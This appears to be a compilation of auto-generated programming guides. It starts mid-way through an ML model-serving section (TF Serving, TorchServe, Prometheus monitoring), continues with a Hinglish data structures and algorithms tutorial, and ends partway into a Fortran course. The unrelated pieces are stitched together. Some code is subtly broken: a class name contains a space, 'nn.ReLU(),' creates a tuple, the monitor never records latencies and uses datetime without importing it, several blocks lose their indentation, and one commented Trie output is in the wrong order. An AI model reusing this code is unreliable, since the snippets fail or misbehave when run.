echo "deb [arch=amd64] http://storage.googleapis.com/tensorflow-serving-apt stable tensorflow-model-server
tensorflow-model-server-universal" | sudo tee /etc/apt/sources.list.d/tensorflow-serving.list
curl https://storage.googleapis.com/tensorflow-serving-apt/tensorflow-serving.release.pub.gpg | sudo apt-key add -
sudo apt update
sudo apt install tensorflow-model-server

# Run TensorFlow Serving
tensorflow_model_server --rest_api_port=8501 --model_name=my_model --model_base_path=/path/to/models
"""

# 3. Client code to call TF Serving
import requests
import json
import numpy as np

class TF ServingClient:
    def __init__(self, host='localhost', port=8501):
        self.url = f'http://{host}:{port}/v1/models/my_model:predict'

    def predict(self, features):
        """Send prediction request to TF Serving"""
        data = json.dumps({
            'instances': features.tolist() if isinstance(features, np.ndarray) else features
        })

        response = requests.post(self.url, data=data)
        if response.status_code == 200:
            result = response.json()
            return result['predictions']
        else:
            raise Exception(f'Prediction failed: {response.text}')

# 4. PyTorch Production with TorchServe
import torch
import torch.nn as nn

# Define PyTorch model
class SimpleNN(nn.Module):
```

```
    def __init__(self, input_size, hidden_size, output_size):
        super().__init__()
        self.fc1 = nn.Linear(input_size, hidden_size)
        self.relu = nn.ReLU(),
        self.fc2 = nn.Linear(hidden_size, output_size)
        self.sigmoid = nn.Sigmoid()

    def forward(self, x):
        x = self.fc1(x)
        x = self.relu(x)
        x = self.fc2(x)
        return self.sigmoid(x)

# Save model for TorchServe
model = SimpleNN(10, 64, 1)
torch.save(model.state_dict(), 'model.pth')

# Create model archive
torchserve_commands = """
# Install TorchServe
pip install torchserve torch-model-archiver

# Create model archive
torch-model-archiver  --model-name  my_model  --version  1.0  --model-file  model.py  --serialized-file  model.pth  --handler
my_handler.py

# Start TorchServe
torchserve --start --ncs --model-store model_store --models my_model=my_model.mar

# Send prediction
curl -X POST http://localhost:8080/predictions/my_model -T input.json
"""

# 5. Monitoring with Prometheus
prometheus_config = """
global:
  scrape_interval: 15s

scrape_configs:
  - job_name: 'tensorflow-serving'
    static_configs:
      - targets: ['localhost:8501']

  - job_name: 'model_metrics'
    static_configs:
      - targets: ['localhost:8000']
"""

# 6. Production Monitoring Code
class ModelMonitor:
    def __init__(self):
        self.predictions = []
        self.latencies = []

    def log_prediction(self, features, prediction, latency):
        """Log prediction for monitoring"""
        self.predictions.append({
            'timestamp': datetime.now().isoformat(),
            'features': features,
            'prediction': prediction,
            'latency_ms': latency
        })

    def get_metrics(self):
        """Get monitoring metrics"""
        if not self.latencies:
```

```
        return {}
    return {
        'total_predictions': len(self.predictions),
        'avg_latency_ms': sum(self.latencies) / len(self.latencies),
        'max_latency_ms': max(self.latencies),
        'min_latency_ms': min(self.latencies)
    }

def detect_drift(self, current_predictions):
    """Detect prediction drift"""
    import numpy as np
    if len(self.predictions) < 100:
        return None
    historical = [p['prediction'] for p in self.predictions[-100:]]
    drift = abs(np.mean(historical) - np.mean(current_predictions))
    return {'drift_score': drift, 'alert': drift > 0.1}
```

Data Structures and Algorithms Complete Guide

Advanced DSA, Graph, DP, Trees, Complexity, Problem Solving

Generated: 23-March-2026

1. TIME & SPACE COMPLEXITY ANALYSIS

>> What is Complexity

WHAT:

Time complexity batata hai algorithm kitna time leta hai input size ke according. Space complexity batata hai kitni memory use hoti hai. Ye performance analysis ke liye important hai.

BIG O NOTATIONS:

* O(1) - Constant Time: Array access, hash table lookup
* O(log n) - Logarithmic: Binary search, balanced tree operations
* O(n) - Linear: Linear search, array traversal
* O(n log n) - Linearithmic: Merge sort, heap sort
* O(n^2) - Quadratic: Bubble sort, nested loops
* O(2^n) - Exponential: Recursive Fibonacci, subsets
* O(n!) - Factorial: Permutations, traveling salesman

>> Complexity Analysis Examples

WHAT:

Code snippets with complexity analysis

CODE:

```
# O(1) - Constant Time
def constant_time(arr):
    return arr[0]  # Always takes same time

# O(n) - Linear Time
def linear_time(arr):
    total = 0
    for x in arr:  # Loop runs n times
        total += x
    return total

# O(n^2) - Quadratic Time
def quadratic_time(arr):
    for i in range(len(arr)):
        for j in range(len(arr)):  # Nested loop
            print(arr[i], arr[j])

# O(log n) - Logarithmic Time
def binary_search(arr, target):
    left, right = 0, len(arr) - 1
    while left <= right:  # Halves the search space
        mid = (left + right) // 2
        if arr[mid] == target:
            return mid
        elif arr[mid] < target:
            left = mid + 1
        else:
            right = mid - 1
    return -1

# O(n log n) - Linearithmic Time
def merge_sort(arr):
    if len(arr) <= 1:
        return arr
    mid = len(arr) // 2
    left = merge_sort(arr[:mid])  # Divide: O(log n) levels
    right = merge_sort(arr[mid:])
    return merge(left, right)  # Merge: O(n) each level
```

```python
# O(2^n) - Exponential Time
def fibonacci_recursive(n):
    if n <= 1:
        return n
    return fibonacci_recursive(n-1) + fibonacci_recursive(n-2)  # Two recursive calls

# Space Complexity Examples
def constant_space(arr):
    total = 0  # O(1) space
    for x in arr:
        total += x
    return total

def linear_space(arr):
    new_arr = [0] * len(arr)  # O(n) space
    for i in range(len(arr)):
        new_arr[i] = arr[i] * 2
    return new_arr
```

2. ADVANCED DATA STRUCTURES

>> Binary Indexed Tree (Fenwick Tree)

WHAT:

Fenwick Tree efficient prefix sum queries and updates ke liye use hota hai. O(log n) time me both operations.

CODE:

```
class FenwickTree:
    """Binary Indexed Tree for range queries and point updates"""
    def __init__(self, n):
        self.n = n
        self.bit = [0] * (n + 1)

    def update(self, idx, delta):
        """Add delta to index idx (1-based)"""
        while idx <= self.n:
            self.bit[idx] += delta
            idx += idx & -idx  # Move to next index

    def query(self, idx):
        """Prefix sum from 1 to idx"""
        result = 0
        while idx > 0:
            result += self.bit[idx]
            idx -= idx & -idx
        return result

    def range_query(self, l, r):
        """Sum from l to r"""
        return self.query(r) - self.query(l - 1)

# Example usage
ft = FenwickTree(10)
ft.update(3, 5)  # Add 5 at index 3
ft.update(5, 10) # Add 10 at index 5
print(ft.range_query(1, 5))  # Sum from 1 to 5
```

>> Segment Tree

WHAT:

Segment Tree range queries (sum, min, max) aur range updates ke liye use hota hai.

CODE:

```
class SegmentTree:
    """Segment Tree for range queries and point updates"""
    def __init__(self, arr):
        self.n = len(arr)
        self.tree = [0] * (4 * self.n)
        self.build(arr, 1, 0, self.n - 1)

    def build(self, arr, node, start, end):
        if start == end:
            self.tree[node] = arr[start]
        else:
            mid = (start + end) // 2
            self.build(arr, node*2, start, mid)
            self.build(arr, node*2+1, mid+1, end)
            self.tree[node] = self.tree[node*2] + self.tree[node*2+1]

    def update(self, idx, value, node=1, start=0, end=None):
        if end is None:
            end = self.n - 1
        if start == end:
```

```
            self.tree[node] = value
        else:
            mid = (start + end) // 2
            if idx <= mid:
                self.update(idx, value, node*2, start, mid)
            else:
                self.update(idx, value, node*2+1, mid+1, end)
            self.tree[node] = self.tree[node*2] + self.tree[node*2+1]

    def query(self, l, r, node=1, start=0, end=None):
        if end is None:
            end = self.n - 1
        if r < start or l > end:
            return 0
        if l <= start and end <= r:
            return self.tree[node]
        mid = (start + end) // 2
        left = self.query(l, r, node*2, start, mid)
        right = self.query(l, r, node*2+1, mid+1, end)
        return left + right

# Example usage
arr = [1, 3, 5, 7, 9, 11]
seg = SegmentTree(arr)
print(seg.query(1, 4))  # Sum of indices 1-4
seg.update(2, 10)
print(seg.query(1, 4))
```

>> Trie (Prefix Tree)

WHAT:

Trie efficient string storage aur prefix search ke liye use hota hai. Autocomplete systems me use hota hai.

CODE:

```
class TrieNode:
    def __init__(self):
        self.children = {}
        self.is_end = False

class Trie:
    """Trie data structure for efficient string operations"""
    def __init__(self):
        self.root = TrieNode()

    def insert(self, word):
        """Insert word into trie"""
        node = self.root
        for char in word:
            if char not in node.children:
                node.children[char] = TrieNode()
            node = node.children[char]
        node.is_end = True

    def search(self, word):
        """Search for exact word"""
        node = self.root
        for char in word:
            if char not in node.children:
                return False
            node = node.children[char]
        return node.is_end

    def starts_with(self, prefix):
        """Check if any word starts with prefix"""
        node = self.root
        for char in prefix:
```

```
            if char not in node.children:
                return False
            node = node.children[char]
        return True

    def get_all_words_with_prefix(self, prefix):
        """Get all words starting with prefix"""
        node = self.root
        for char in prefix:
            if char not in node.children:
                return []
            node = node.children[char]
        result = []
        self._dfs(node, prefix, result)
        return result

    def _dfs(self, node, current, result):
        if node.is_end:
            result.append(current)
        for char, child in node.children.items():
            self._dfs(child, current + char, result)

# Example usage
trie = Trie()
words = ["apple", "app", "apricot", "banana", "band"]
for w in words:
    trie.insert(w)
print(trie.search("app"))  # True
print(trie.starts_with("app"))  # True
print(trie.get_all_words_with_prefix("ap"))  # ['apricot', 'app', 'apple']
```

>> Disjoint Set Union (Union-Find)

WHAT:

DSU disjoint sets ko merge aur find karne ke liye use hota hai. Graph connectivity problems me use hota hai.

CODE:

```
class DSU:
    """Disjoint Set Union with path compression and union by rank"""
    def __init__(self, n):
        self.parent = list(range(n))
        self.rank = [0] * n

    def find(self, x):
        """Find with path compression"""
        if self.parent[x] != x:
            self.parent[x] = self.find(self.parent[x])
        return self.parent[x]

    def union(self, x, y):
        """Union by rank"""
        px, py = self.find(x), self.find(y)
        if px == py:
            return False
        if self.rank[px] < self.rank[py]:
            self.parent[px] = py
        elif self.rank[px] > self.rank[py]:
            self.parent[py] = px
        else:
            self.parent[py] = px
            self.rank[px] += 1
        return True

    def connected(self, x, y):
        return self.find(x) == self.find(y)
```

```python
# Example - Number of provinces
def find_circle_num(is_connected):
    n = len(is_connected)
    dsu = DSU(n)
    for i in range(n):
        for j in range(i+1, n):
            if is_connected[i][j]:
                dsu.union(i, j)
    return len(set(dsu.find(i) for i in range(n)))
```

3. GRAPH ALGORITHMS

>> Graph Representations

WHAT:

Graphs ko represent karne ke tarike

CODE:

```
# Adjacency Matrix - O(V^2) space
class GraphMatrix:
    def __init__(self, vertices):
        self.V = vertices
        self.graph = [[0] * vertices for _ in range(vertices)]

    def add_edge(self, u, v, weight=1):
        self.graph[u][v] = weight
        self.graph[v][u] = weight  # For undirected

# Adjacency List - O(V+E) space, more efficient
class GraphList:
    def __init__(self, vertices):
        self.V = vertices
        self.graph = [[] for _ in range(vertices)]

    def add_edge(self, u, v, weight=1):
        self.graph[u].append((v, weight))
        self.graph[v].append((u, weight))  # For undirected
```

>> BFS and DFS

WHAT:

Graph traversal algorithms

CODE:

```
from collections import deque

class GraphTraversal:
    def __init__(self, graph):
        self.graph = graph
        self.V = len(graph)

    def bfs(self, start):
        """Breadth First Search - O(V+E)"""
        visited = [False] * self.V
        queue = deque([start])
        visited[start] = True
        result = []

        while queue:
            u = queue.popleft()
            result.append(u)
            for v in self.graph[u]:
                if not visited[v]:
                    visited[v] = True
                    queue.append(v)
        return result

    def dfs_iterative(self, start):
        """DFS using stack - O(V+E)"""
        visited = [False] * self.V
        stack = [start]
        result = []

        while stack:
```

```
            u = stack.pop()
            if not visited[u]:
                visited[u] = True
                result.append(u)
                for v in reversed(self.graph[u]):
                    if not visited[v]:
                        stack.append(v)
        return result

    def dfs_recursive(self, u, visited=None):
        """DFS recursive - O(V+E)"""
        if visited is None:
            visited = [False] * self.V
        visited[u] = True
        result = [u]
        for v in self.graph[u]:
            if not visited[v]:
                result.extend(self.dfs_recursive(v, visited))
        return result
```

>> Dijkstra's Algorithm

WHAT:

Shortest path from source to all nodes (non-negative weights)

CODE:

```
import heapq

def dijkstra(graph, source):
    """Dijkstra's algorithm - O((V+E) log V)"""
    V = len(graph)
    dist = [float('inf')] * V
    dist[source] = 0
    pq = [(0, source)]  # (distance, vertex)

    while pq:
        d, u = heapq.heappop(pq)
        if d > dist[u]:
            continue
        for v, weight in graph[u]:
            new_dist = d + weight
            if new_dist < dist[v]:
                dist[v] = new_dist
                heapq.heappush(pq, (new_dist, v))
    return dist

# Example
graph = [
    [(1, 4), (2, 2)],
    [(2, 1), (3, 5)],
    [(3, 8)],
    []
]
print(dijkstra(graph, 0))
```

>> Bellman-Ford Algorithm

WHAT:

Shortest path with negative weights, detects negative cycles

CODE:

```
def bellman_ford(edges, V, source):
    """Bellman-Ford algorithm - O(V*E)"""
    dist = [float('inf')] * V
    dist[source] = 0
```

```
    # Relax edges V-1 times
    for _ in range(V - 1):
        for u, v, w in edges:
            if dist[u] != float('inf') and dist[u] + w < dist[v]:
                dist[v] = dist[u] + w

    # Check for negative cycles
    for u, v, w in edges:
        if dist[u] != float('inf') and dist[u] + w < dist[v]:
            return None  # Negative cycle detected
    return dist

# Example
edges = [(0, 1, 4), (0, 2, 2), (1, 2, 1), (1, 3, 5), (2, 3, 8)]
print(bellman_ford(edges, 4, 0))
```

>> Floyd-Warshall Algorithm

WHAT:

All pairs shortest path

CODE:

```
def floyd_warshall(graph):
    """Floyd-Warshall algorithm - O(V^3)"""
    V = len(graph)
    dist = [row[:] for row in graph]

    for k in range(V):
        for i in range(V):
            for j in range(V):
                if dist[i][k] + dist[k][j] < dist[i][j]:
                    dist[i][j] = dist[i][k] + dist[k][j]
    return dist

# Example
INF = float('inf')
graph = [
    [0, 3, INF, 5],
    [2, 0, INF, 4],
    [INF, 1, 0, INF],
    [INF, INF, 2, 0]
]
print(floyd_warshall(graph))
```

>> Kruskal's Algorithm (MST)

WHAT:

Minimum Spanning Tree using Union-Find

CODE:

```
def kruskal(edges, V):
    """Kruskal's algorithm - O(E log E)"""
    edges.sort(key=lambda x: x[2])
    dsu = DSU(V)
    mst = []
    total_weight = 0

    for u, v, w in edges:
        if dsu.union(u, v):
            mst.append((u, v, w))
            total_weight += w
    return mst, total_weight
```

>> Prim's Algorithm (MST)

WHAT:

Minimum Spanning Tree using Priority Queue

CODE:

```
def prim(graph, V):
    """Prim's algorithm - O(E log V)"""
    visited = [False] * V
    min_heap = [(0, 0)]  # (weight, vertex)
    total_weight = 0
    mst_edges = []

    while min_heap:
        weight, u = heapq.heappop(min_heap)
        if visited[u]:
            continue
        visited[u] = True
        total_weight += weight

        for v, w in graph[u]:
            if not visited[v]:
                heapq.heappush(min_heap, (w, v))
    return total_weight
```

>> Topological Sort

WHAT:

Ordering of DAG vertices

CODE:

```
def topological_sort(graph, V):
    """Topological sort using Kahn's algorithm"""
    indegree = [0] * V
    for u in range(V):
        for v in graph[u]:
            indegree[v] += 1

    queue = deque([i for i in range(V) if indegree[i] == 0])
    result = []

    while queue:
        u = queue.popleft()
        result.append(u)
        for v in graph[u]:
            indegree[v] -= 1
            if indegree[v] == 0:
                queue.append(v)

    return result if len(result) == V else []
```

---

4. TREE ALGORITHMS

>> Binary Tree Traversals

WHAT:

Binary tree traversal techniques

CODE:

```
class TreeNode:
    def __init__(self, val=0, left=None, right=None):
        self.val = val
        self.left = left
        self.right = right

class TreeTraversal:
    def inorder(self, root):
        """Left -> Root -> Right"""
        result = []
        stack = []
        curr = root
        while curr or stack:
            while curr:
                stack.append(curr)
                curr = curr.left
            curr = stack.pop()
            result.append(curr.val)
            curr = curr.right
        return result

    def preorder(self, root):
        """Root -> Left -> Right"""
        if not root:
            return []
        result = []
        stack = [root]
        while stack:
            node = stack.pop()
            result.append(node.val)
            if node.right:
                stack.append(node.right)
            if node.left:
                stack.append(node.left)
        return result

    def postorder(self, root):
        """Left -> Right -> Root"""
        if not root:
            return []
        result = []
        stack = [(root, False)]
        while stack:
            node, visited = stack.pop()
            if visited:
                result.append(node.val)
            else:
                stack.append((node, True))
                if node.right:
                    stack.append((node.right, False))
                if node.left:
                    stack.append((node.left, False))
        return result

    def level_order(self, root):
        """Level by level traversal"""
        if not root:
```

```
        return []
    result = []
    queue = deque([root])
    while queue:
        level = []
        for _ in range(len(queue)):
            node = queue.popleft()
            level.append(node.val)
            if node.left:
                queue.append(node.left)
            if node.right:
                queue.append(node.right)
        result.append(level)
    return result
```

>> Binary Search Tree

WHAT:

BST operations: insert, delete, search, find min/max

CODE:

```
class BST:
    def __init__(self):
        self.root = None

    def insert(self, val):
        """Insert node in BST"""
        if not self.root:
            self.root = TreeNode(val)
            return
        curr = self.root
        while True:
            if val < curr.val:
                if not curr.left:
                    curr.left = TreeNode(val)
                    break
                curr = curr.left
            else:
                if not curr.right:
                    curr.right = TreeNode(val)
                    break
                curr = curr.right

    def search(self, val):
        """Search in BST - O(log n)"""
        curr = self.root
        while curr:
            if val == curr.val:
                return True
            elif val < curr.val:
                curr = curr.left
            else:
                curr = curr.right
        return False

    def delete(self, val):
        """Delete node from BST"""
        def _delete(root, val):
            if not root:
                return None
            if val < root.val:
                root.left = _delete(root.left, val)
            elif val > root.val:
                root.right = _delete(root.right, val)
            else:
                # Node with one child or no child
```

```
            if not root.left:
                return root.right
            if not root.right:
                return root.left
            # Node with two children
            successor = self._find_min(root.right)
            root.val = successor.val
            root.right = _delete(root.right, successor.val)
        return root
    self.root = _delete(self.root, val)

    def _find_min(self, node):
        while node.left:
            node = node.left
        return node

    def is_valid_bst(self):
        """Check if tree is valid BST"""
        def validate(node, low, high):
            if not node:
                return True
            if not (low < node.val < high):
                return False
            return validate(node.left, low, node.val) and validate(node.right, node.val, high)
        return validate(self.root, float('-inf'), float('inf'))
```

>> AVL Tree

WHAT:

Self-balancing BST with height difference <= 1

CODE:

```
class AVLNode:
    def __init__(self, val):
        self.val = val
        self.left = None
        self.right = None
        self.height = 1

class AVLTree:
    def __init__(self):
        self.root = None

    def height(self, node):
        return node.height if node else 0

    def balance_factor(self, node):
        return self.height(node.left) - self.height(node.right)

    def update_height(self, node):
        node.height = 1 + max(self.height(node.left), self.height(node.right))

    def rotate_right(self, y):
        x = y.left
        T2 = x.right
        x.right = y
        y.left = T2
        self.update_height(y)
        self.update_height(x)
        return x

    def rotate_left(self, x):
        y = x.right
        T2 = y.left
        y.left = x
        x.right = T2
```

```
        self.update_height(x)
        self.update_height(y)
        return y

    def insert(self, val):
        def _insert(node, val):
            if not node:
                return AVLNode(val)
            if val < node.val:
                node.left = _insert(node.left, val)
            else:
                node.right = _insert(node.right, val)

            self.update_height(node)
            balance = self.balance_factor(node)

            # Left Left Case
            if balance > 1 and val < node.left.val:
                return self.rotate_right(node)
            # Right Right Case
            if balance < -1 and val > node.right.val:
                return self.rotate_left(node)
            # Left Right Case
            if balance > 1 and val > node.left.val:
                node.left = self.rotate_left(node.left)
                return self.rotate_right(node)
            # Right Left Case
            if balance < -1 and val < node.right.val:
                node.right = self.rotate_right(node.right)
                return self.rotate_left(node)
            return node
        self.root = _insert(self.root, val)
```

>> Lowest Common Ancestor

WHAT:

LCA in binary tree

CODE:

```
def lowest_common_ancestor(root, p, q):
    """Find LCA in binary tree"""
    if not root or root == p or root == q:
        return root
    left = lowest_common_ancestor(root.left, p, q)
    right = lowest_common_ancestor(root.right, p, q)
    if left and right:
        return root
    return left if left else right

def lowest_common_ancestor_bst(root, p, q):
    """Find LCA in BST - O(log n)"""
    while root:
        if p.val < root.val and q.val < root.val:
            root = root.left
        elif p.val > root.val and q.val > root.val:
            root = root.right
        else:
            return root
    return None
```

---

5. DYNAMIC PROGRAMMING

>> DP Fundamentals

WHAT:

Dynamic Programming - optimal substructure aur overlapping subproblems

CODE:

```
# 1. Fibonacci with memoization (Top-Down)
def fib_memo(n, memo={}):
    if n in memo:
        return memo[n]
    if n <= 1:
        return n
    memo[n] = fib_memo(n-1, memo) + fib_memo(n-2, memo)
    return memo[n]

# 2. Fibonacci with tabulation (Bottom-Up)
def fib_tab(n):
    if n <= 1:
        return n
    dp = [0] * (n + 1)
    dp[1] = 1
    for i in range(2, n + 1):
        dp[i] = dp[i-1] + dp[i-2]
    return dp[n]

# 3. Space optimized Fibonacci
def fib_optimized(n):
    if n <= 1:
        return n
    prev2, prev1 = 0, 1
    for _ in range(2, n + 1):
        curr = prev1 + prev2
        prev2, prev1 = prev1, curr
    return prev1
```

>> Knapsack Problem

WHAT:

0/1 Knapsack - maximize value with weight constraint

CODE:

```
def knapsack_01(weights, values, capacity):
    """0/1 Knapsack - O(n * capacity)"""
    n = len(weights)
    dp = [[0] * (capacity + 1) for _ in range(n + 1)]

    for i in range(1, n + 1):
        for w in range(1, capacity + 1):
            if weights[i-1] <= w:
                dp[i][w] = max(
                    dp[i-1][w],
                    dp[i-1][w - weights[i-1]] + values[i-1]
                )
            else:
                dp[i][w] = dp[i-1][w]
    return dp[n][capacity]

def knapsack_space_optimized(weights, values, capacity):
    """Space optimized - O(capacity) space"""
    dp = [0] * (capacity + 1)
    for i in range(len(weights)):
        for w in range(capacity, weights[i] - 1, -1):
```

```
            dp[w] = max(dp[w], dp[w - weights[i]] + values[i])
    return dp[capacity]
```

>> Longest Common Subsequence

WHAT:

LCS - find longest subsequence common to two strings

CODE:

```
def longest_common_subsequence(text1, text2):
    """LCS - O(m*n)"""
    m, n = len(text1), len(text2)
    dp = [[0] * (n + 1) for _ in range(m + 1)]

    for i in range(1, m + 1):
        for j in range(1, n + 1):
            if text1[i-1] == text2[j-1]:
                dp[i][j] = dp[i-1][j-1] + 1
            else:
                dp[i][j] = max(dp[i-1][j], dp[i][j-1])
    return dp[m][n]

def print_lcs(text1, text2):
    m, n = len(text1), len(text2)
    dp = [[0] * (n + 1) for _ in range(m + 1)]
    for i in range(1, m + 1):
        for j in range(1, n + 1):
            if text1[i-1] == text2[j-1]:
                dp[i][j] = dp[i-1][j-1] + 1
            else:
                dp[i][j] = max(dp[i-1][j], dp[i][j-1])

    # Reconstruct LCS
    lcs = []
    i, j = m, n
    while i > 0 and j > 0:
        if text1[i-1] == text2[j-1]:
            lcs.append(text1[i-1])
            i -= 1
            j -= 1
        elif dp[i-1][j] > dp[i][j-1]:
            i -= 1
        else:
            j -= 1
    return ''.join(reversed(lcs))
```

>> Longest Increasing Subsequence

WHAT:

LIS - O(n log n) using patience sorting

CODE:

```
def longest_increasing_subsequence(nums):
    """LIS - O(n^2) DP"""
    if not nums:
        return 0
    dp = [1] * len(nums)
    for i in range(len(nums)):
        for j in range(i):
            if nums[j] < nums[i]:
                dp[i] = max(dp[i], dp[j] + 1)
    return max(dp)

def lis_binary_search(nums):
    """LIS - O(n log n) using binary search"""
```

```
    tails = []
    for num in nums:
        import bisect
        pos = bisect.bisect_left(tails, num)
        if pos == len(tails):
            tails.append(num)
        else:
            tails[pos] = num
    return len(tails)
```

>> Edit Distance

WHAT:

Minimum operations to convert string1 to string2

CODE:

```
def edit_distance(word1, word2):
    """Levenshtein distance - O(m*n)"""
    m, n = len(word1), len(word2)
    dp = [[0] * (n + 1) for _ in range(m + 1)]

    for i in range(m + 1):
        dp[i][0] = i
    for j in range(n + 1):
        dp[0][j] = j

    for i in range(1, m + 1):
        for j in range(1, n + 1):
            if word1[i-1] == word2[j-1]:
                dp[i][j] = dp[i-1][j-1]
            else:
                dp[i][j] = 1 + min(
                    dp[i-1][j],    # delete
                    dp[i][j-1],    # insert
                    dp[i-1][j-1]   # replace
                )
    return dp[m][n]
```

>> Matrix Chain Multiplication

WHAT:

Minimize scalar multiplications

CODE:

```
def matrix_chain_order(dims):
    """Matrix chain multiplication - O(n^3)"""
    n = len(dims) - 1
    dp = [[0] * n for _ in range(n)]

    for length in range(2, n + 1):
        for i in range(n - length + 1):
            j = i + length - 1
            dp[i][j] = float('inf')
            for k in range(i, j):
                cost = dp[i][k] + dp[k+1][j] + dims[i] * dims[k+1] * dims[j+1]
                dp[i][j] = min(dp[i][j], cost)
    return dp[0][n-1]
```

---

6. CODE OPTIMIZATION TECHNIQUES

>> Optimization Strategies

WHAT:

Code ko faster aur memory efficient banane ke techniques

TECHNIQUES:

* 1. Use appropriate data structures (set for O(1) lookup)
* 2. Avoid nested loops when possible
* 3. Use list comprehension over loops
* 4. Use built-in functions (sum, max, min are optimized in C)
* 5. Use generators for large datasets
* 6. Use caching for repeated calculations (lru_cache)
* 7. Use bit manipulation for certain problems
* 8. Use early termination/break when possible
* 9. Use string join instead of concatenation in loops
* 10. Use deque for O(1) append/pop from both ends

>> Optimization Examples

WHAT:

Before and after optimization examples

CODE:

```
# Bad: String concatenation in loop
def bad_string_concat(words):
    result = ""
    for word in words:
        result += word  # O(n^2)
    return result

# Good: Use join
def good_string_concat(words):
    return ''.join(words)  # O(n)

# Bad: Multiple lookups
def bad_dict_lookup(d, key):
    if key in d:
        return d[key]
    return None

# Good: Use get
def good_dict_lookup(d, key):
    return d.get(key)

# Bad: List membership O(n)
def bad_membership(lst, target):
    return target in lst  # O(n)

# Good: Set membership O(1)
def good_membership(lst, target):
    s = set(lst)
    return target in s  # O(1) after conversion

# Bad: Unnecessary list creation
def bad_sum_squares(n):
    return sum([i*i for i in range(n)])

# Good: Generator expression
def good_sum_squares(n):
    return sum(i*i for i in range(n))
```

```
# Bad: Recursion without memoization
def fib_bad(n):
    if n <= 1:
        return n
    return fib_bad(n-1) + fib_bad(n-2)  # O(2^n)

# Good: Memoization
from functools import lru_cache
@lru_cache(maxsize=None)
def fib_good(n):
    if n <= 1:
        return n
    return fib_good(n-1) + fib_good(n-2)  # O(n)
```

7. PROBLEM SOLVING PATTERNS

>> Common Problem Patterns

WHAT:

Coding problems me frequently use hone wale patterns

PATTERNS:

1. Two Pointers:
   - Sorted array problems (pair sum, remove duplicates)
   - Palindrome checking
   - Sliding window

2. Sliding Window:
   - Maximum sum subarray of size k
   - Longest substring without repeating chars
   - Minimum window substring

3. Prefix Sum:
   - Subarray sum equals k
   - Range sum queries

4. Binary Search:
   - Search in rotated array
   - Find peak element
   - First/last position in sorted array

5. Backtracking:
   - Permutations, combinations
   - N-Queens, Sudoku solver

6. BFS/DFS:
   - Graph traversal
   - Shortest path in unweighted graph
   - Connected components

7. Topological Sort:
   - Course schedule
   - Task ordering

8. Union-Find:
   - Number of provinces
   - Redundant connection

9. Trie:
   - Word search
   - Auto-complete

10. Heap:
    - Kth largest element
    - Merge k sorted lists

8. LEETCODE / CODEFORCES / HACKERRANK STRATEGIES

>> Platform Strategies

WHAT:

Each platform ke liye specific strategies

STRATEGIES:

LeetCode:
- Focus on patterns (150 problems cover most patterns)
- Start with Easy, then Medium, then Hard
- Company tagged problems for interview prep
- Weekly contests for practice

Codeforces:
- Problems rated by difficulty (800-3500)
- Focus on math and greedy for lower ratings
- DP and graphs for higher ratings
- Participate in contests regularly

HackerRank:
- Complete the preparation kits
- Focus on language-specific challenges
- SQL challenges for database roles

>> Problem Solving Approach

WHAT:

How to approach any coding problem

STEPS:

* Step 1: Understand the problem - Read carefully, ask clarifying questions
* Step 2: Identify input/output constraints
* Step 3: Think about brute force solution first
* Step 4: Analyze time/space complexity
* Step 5: Identify patterns and optimize
* Step 6: Write clean code with comments
* Step 7: Test with edge cases
* Step 8: Analyze and learn from solutions

Fortran Complete Guide

Scientific Computing Language - Full Programming Course

Generated: 22-March-2026

1. FORTRAN INTRODUCTION AND HISTORY

>> What is Fortran

WHAT:

Fortran (Formula Translation) world ki first high-level programming language hai. 1957 mein IBM ne banaya tha. Scientific aur engineering calculations ke liye specially designed hai. Aaj bhi weather forecasting, climate modeling, computational physics, aerospace simulations mein use hota hai.

FEATURES:

* Numeric Computation - Mathematics aur engineering ke liye best
* Array Operations - Built-in array operations, matrix multiplication
* High Performance - Vectorization, parallel processing
* Scientific Libraries - LAPACK, BLAS, PETSc, FFTW
* Static Typing - Fast execution, type safety
* Backward Compatibility - 60+ years old code still runs

>> Fortran Versions

WHAT:

Fortran ke different versions aur unki features

VERSIONS:

* Fortran I (1957) - Pehla version, IBM 704 ke liye
* Fortran II (1958) - Subroutines, functions added
* Fortran IV (1962) - Standardized, COMMON blocks
* Fortran 66 (1966) - First ANSI standard
* Fortran 77 (1978) - Most popular version, DO loops, IF-THEN-ELSE
* Fortran 90 (1991) - Major update: Modules, arrays, recursion
* Fortran 95 (1997) - Minor update: FORALL, WHERE
* Fortran 2003 (2004) - OOP, C interoperability
* Fortran 2008 (2010) - Coarrays (parallel programming)
* Fortran 2018 (2018) - Latest standard, parallel features

>> Installation on Linux

WHAT:

Fortran compiler (gfortran) install karna

COMMANDS:

```
# Check if gfortran is installed
gfortran --version
# Install gfortran on Ubuntu/Debian
sudo apt update
sudo apt install gfortran -y
# Install gfortran on CentOS/RHEL
sudo yum install gcc-gfortran -y
# Install additional libraries
sudo apt install libblas-dev liblapack-dev -y
sudo apt install libopenmpi-dev openmpi-bin -y
# Verify installation
gfortran --version
which gfortran
# Install other compilers (optional)
sudo apt install flang  # LLVM Fortran compiler
```

>> First Fortran Program

WHAT:

Hello World program - Fortran ka pehla program

CODE:

```
! File: hello.f90
program hello
    ! This is a comment
    implicit none
    ! Print statement
    print *, 'Hello, World!'
    print *, 'Welcome to Fortran!'
end program hello

# Compile karna
gfortran hello.f90 -o hello

# Run karna
./hello

# Output:
 Hello, World!
 Welcome to Fortran!
```

---

2. FORTRAN BASICS - SYNTAX AND DATA TYPES

>> Program Structure

WHAT:

Fortran program ka structure

CODE:

```
! Fortran program structure
program program_name
    ! Declaration section
    implicit none
    integer :: i, j
    real :: x, y

    ! Execution section
    i = 10
    j = 20
    x = 3.14159

    ! Output
    print *, 'i = ', i
    print *, 'j = ', j
    print *, 'x = ', x

end program program_name
```

>> Data Types

WHAT:

Fortran me data types

EXAMPLES:

```
program data_types
    implicit none
    ! Integer types
    integer :: i                     ! Default integer (usually 4 bytes)
    integer(kind=2) :: short_int   ! 2-byte integer
    integer(kind=4) :: normal_int  ! 4-byte integer
    integer(kind=8) :: long_int    ! 8-byte integer
    ! Real (floating point) types
    real :: x                      ! Single precision
    real(kind=4) :: single_prec    ! 4-byte real
    real(kind=8) :: double_prec    ! 8-byte double precision
    double precision :: y          ! Double precision (same as real(kind=8))
    ! Complex numbers
    complex :: z                   ! Single precision complex
    complex(kind=8) :: z_double    ! Double precision complex
    ! Logical (boolean)
    logical :: flag                ! .true. or .false.
    ! Character (string)
    character(len=20) :: name      ! Fixed length string
    character(len=:), allocatable :: dynamic_name  ! Dynamic string
    ! Assign values
    i = 42
    x = 3.1415926535
    y = 2.7182818284d0  ! d0 for double precision
